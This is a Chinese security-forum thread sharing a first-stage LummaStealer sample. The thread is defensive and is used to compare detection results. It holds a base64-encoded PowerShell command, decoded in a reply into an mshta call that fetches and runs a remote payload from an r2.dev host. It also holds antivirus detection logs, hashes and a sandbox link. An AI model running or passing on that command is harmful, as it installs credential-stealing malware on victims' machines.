几天前的样本，某lummastealer的第一阶段

显示全部楼层 · 发表于 2024-8-25 01:08:10

本帖最后由 hsks 于 2024-8-25 01:11 编辑

你猜猜它叫你干什么（
powershell.exe -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAHAAdQBiAC0AOQBjADQAZQBjADcAZgAzAGYAOQA1AGMANAA0ADgAYgA4ADUAZQA0ADYANABkADIAYgA1ADMAMwBhAGEAYwAxAC4AcgAyAC4AZABlAHYALwAyADMAbABrAGoAZgBoAHIA

显示全部楼层 · 发表于 2024-8-25 01:21:56

腾讯电脑管家

显示全部楼层 · 发表于 2024-8-25 01:24:17

本帖最后由 swizzer 于 2024-8-25 01:27 编辑

事件: 检测到恶意对象
应用程序: Microsoft (R) HTML Application host
用户: DESKTOP-9UAQ6GR\Hibike
用户类型: 发起者
组件: 系统监控
结果说明: 检测到
类型: 木马
名称: PDM:Exploit.Win32.Generic
威胁级别: 高
对象类型: 进程
对象路径: C:\Windows\System32
对象名称: mshta.exe
原因: 行为分析
数据库发布日期: 昨天，2024/8/24 下午9:36:00
MD5: 86F05E66502036DB5B678B917E5D5B17

复制代码

幽默OpenTIP

{
"Filename": "23lkjfhr.exe",
"FileStatus": "NoThreats",
"FileType": "exe x32",
"Sha256": "71D4E49E13E4A68CC84C24123EECB954B1EBAA05AFB92584718A1D38F137568C"
}

复制代码

显示全部楼层 · 发表于 2024-8-25 01:47:04

本帖最后由 QVM360 于 2024-8-25 01:49 编辑

事件: 检测到恶意对象
应用程序: Microsoft (R) HTML Application host
用户: ADMINISTRATOR\57207
用户类型: 活动用户
组件: 系统监控
结果说明: 检测到
类型: 木马
名称: PDM:Exploit.Win32.Generic
威胁级别: 高
对象类型: 进程
对象路径: c:\windows\system32
对象名称: mshta.exe
原因: 数据库
数据库发布日期: 昨天，2024/08/24 21:36:00

复制代码

显示全部楼层 · 发表于 2024-8-25 01:49:55

卡巴扫描文件miss
（楼上编辑不了，论坛bug)

显示全部楼层 · 发表于 2024-8-25 01:50:25

swizzer 发表于 2024-8-25 01:24
幽默OpenTIP

https://app.any.run/tasks/3ed71950-b4b8-40fb-8ac1-eab4d3f350c0

anyrun里报错，flagged as clean很正常

显示全部楼层 · 发表于 2024-8-25 01:59:52

bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAHAAdQBiAC0AOQBjADQAZQBjADcAZgAzAGYAOQA1AGMANAA0ADgAYgA4ADUAZQA0ADYANABkADIAYgA1ADMAMwBhAGEAYwAxAC4AcgAyAC4AZABlAHYALwAyADMAbABrAGoAZgBoAHIA
mshta https://pub-9c4ec7f3f95c448b85e464d2b533aac1.r2.dev/23lkjfhr

复制代码

显示全部楼层 · 发表于 2024-8-25 07:42:50

显示全部楼层 · 发表于 2024-8-25 08:42:44

eset

JS/Agent.RNX

显示全部楼层 · 发表于 2024-8-25 09:04:59

自制杀毒 1x

[病毒样本] 几天前的样本，某lummastealer的第一阶段

本帖子中包含更多资源

评分

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源